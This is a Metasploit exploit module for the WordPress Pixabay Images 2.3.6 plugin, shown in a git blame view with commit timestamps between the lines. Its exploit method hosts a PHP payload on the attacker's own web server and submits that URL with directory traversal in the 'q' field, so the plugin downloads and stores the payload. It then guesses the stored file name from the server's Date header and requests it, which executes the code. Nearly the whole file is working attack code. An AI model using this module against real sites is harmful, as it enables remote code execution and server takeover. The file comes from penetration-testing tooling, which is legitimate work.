metasploit-framework/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb

148 lines
4.4 KiB
Ruby
Raw Normal View History

2015-01-19 16:23:48 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class Metasploit3 < Msf::Exploit::Remote
2015-02-03 23:00:37 +00:00
include Msf::Exploit::FileDropper
2015-01-19 16:23:48 +00:00
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HttpClient
2015-02-03 23:00:37 +00:00
include Msf::HTTP::Wordpress
2015-01-19 16:23:48 +00:00
Rank = ExcellentRanking
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress Pixabay Images PHP Code Upload',
2015-01-19 16:23:48 +00:00
'Description' => %q{
This module exploits multiple vulnerabilities in the WordPress plugin Pixabay
2015-02-03 22:07:27 +00:00
Images 2.3.6. The plugin does not check the host of a provided download URL
which can be used to store and execute malicious PHP code on the system.
2015-01-19 16:23:48 +00:00
},
'Author' =>
[
'h0ng10', # Discovery, Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
2015-02-03 22:07:27 +00:00
['URL', 'https://www.mogwaisecurity.de/advisories/MSA-2015-01.txt'],
['OSVDB', '117145'],
['OSVDB', '117146'],
['WPVDB', '7758']
2015-01-19 16:23:48 +00:00
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [['pixabay-images 2.3', {}]],
'DefaultTarget' => 0,
'Payload' =>
{
'DisableNops' => true,
},
2015-02-03 22:07:27 +00:00
'Stance' => Msf::Exploit::Stance::Aggressive,
2015-01-19 16:23:48 +00:00
'DisclosureDate' => 'Jan 19 2015'
2015-02-03 22:07:27 +00:00
))
2015-01-19 16:23:48 +00:00
2015-02-03 22:07:27 +00:00
register_options(
[
2015-02-03 22:38:40 +00:00
OptInt.new('TRIES', [true, 'Number of guesses if initial name guess fails', 5]),
2015-02-03 23:00:37 +00:00
OptInt.new('DEPTH', [true, 'Traversal path until the uploads folder', 4])
2015-02-03 22:07:27 +00:00
], self.class)
2015-01-19 16:23:48 +00:00
end
# Handle incoming requests from the server
def on_request_uri(cli, request)
2015-02-03 22:23:04 +00:00
print_status("URI requested: #{request.raw_uri}")
2015-01-19 16:23:48 +00:00
send_response(cli, payload.encoded)
end
2015-02-03 22:38:40 +00:00
# Create a custom URI
2015-01-19 16:23:48 +00:00
def generate_payload_uri
2015-02-03 22:07:27 +00:00
"#{get_uri}.php"
2015-01-19 16:23:48 +00:00
end
2015-02-03 23:00:37 +00:00
def call_payload(file_name)
2015-02-03 22:07:27 +00:00
res = send_request_cgi({
'method' => 'GET',
2015-02-03 23:00:37 +00:00
'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', file_name)
2015-02-03 22:23:04 +00:00
}, 3)
2015-02-03 22:07:27 +00:00
res
2015-01-19 16:23:48 +00:00
end
def exploit
unless wordpress_and_online?
fail_with(Failure::NoTarget, "#{peer} - #{target_uri} does not seeem to be WordPress site")
2015-01-19 16:23:48 +00:00
end
2015-02-03 22:07:27 +00:00
print_status("#{peer} - Starting up web service...")
2015-01-19 16:23:48 +00:00
start_service
payload_uri = generate_payload_uri
2015-02-03 22:07:27 +00:00
vprint_status("#{peer} - Using URI #{payload_uri}")
2015-01-19 16:23:48 +00:00
2015-02-03 22:38:40 +00:00
random_file_name = rand_text_alphanumeric(rand(5) + 5)
2015-01-19 16:23:48 +00:00
post = {
2015-02-03 22:38:40 +00:00
'pixabay_upload' => rand_text_alphanumeric(rand(5) + 5),
2015-02-03 22:07:27 +00:00
'image_url' => payload_uri,
2015-02-03 22:38:40 +00:00
'image_user' => rand_text_alphanumeric(rand(5) + 5),
'q' => "#{'../' * datastore['DEPTH']}#{random_file_name}"
2015-01-19 16:23:48 +00:00
}
2015-02-03 23:00:37 +00:00
print_status("#{peer} - Uploading payload #{random_file_name}...")
2015-01-19 16:23:48 +00:00
res = send_request_cgi({
2015-02-03 22:07:27 +00:00
'method' => 'POST',
'uri' => normalize_uri(wordpress_url_backend),
'vars_post' => post
})
2015-01-19 16:23:48 +00:00
2015-02-03 22:23:04 +00:00
stop_service
2015-02-03 22:38:40 +00:00
unless res && res.code == 200 && res.headers['date']
fail_with(Failure::Unknown, "#{peer} - Upload failed or unable to guess the system time...")
end
2015-02-03 22:07:27 +00:00
server_epoch_time = DateTime.strptime(res.headers['date'], '%a, %d %b %Y %H:%M:%S GMT').to_i
2015-01-19 16:23:48 +00:00
2015-02-03 22:07:27 +00:00
print_status("#{peer} - Calling payload...")
2015-02-03 22:23:04 +00:00
datastore['TRIES'].times do |i|
2015-02-03 23:00:37 +00:00
payload_name = "#{random_file_name}_#{server_epoch_time + i}.php"
res = call_payload(payload_name)
if (res && res.code == 200) || session_created?
register_files_for_cleanup(payload_name)
break
end
2015-01-19 16:23:48 +00:00
end
end
def check
res = wordpress_and_online?
unless res
vprint_error("#{peer} - It doesn't look like a WordPress site")
2015-01-19 16:23:48 +00:00
return Exploit::CheckCode::Unknown
end
# Send a request with a illegal URL to verify that the target is vulnerable
post = {
2015-02-03 22:38:40 +00:00
'pixabay_upload' => rand_text_alphanumeric(rand(5) + 5),
'image_url' => rand_text_alphanumeric(rand(5) + 5),
'image_user' => rand_text_alphanumeric(rand(5) + 5),
'q' => rand_text_alphanumeric(rand(5) + 5)
2015-01-19 16:23:48 +00:00
}
res = send_request_cgi({
2015-02-03 22:07:27 +00:00
'method' => 'POST',
'uri' => normalize_uri(wordpress_url_backend),
'vars_post' => post
})
2015-01-19 16:23:48 +00:00
2015-02-03 22:07:27 +00:00
if res && res.body && res.body.to_s =~ /Error: A valid URL was not provided/
2015-01-19 16:23:48 +00:00
return Exploit::CheckCode::Vulnerable
end
2015-02-03 22:07:27 +00:00
Exploit::CheckCode::Safe
2015-01-19 16:23:48 +00:00
end
end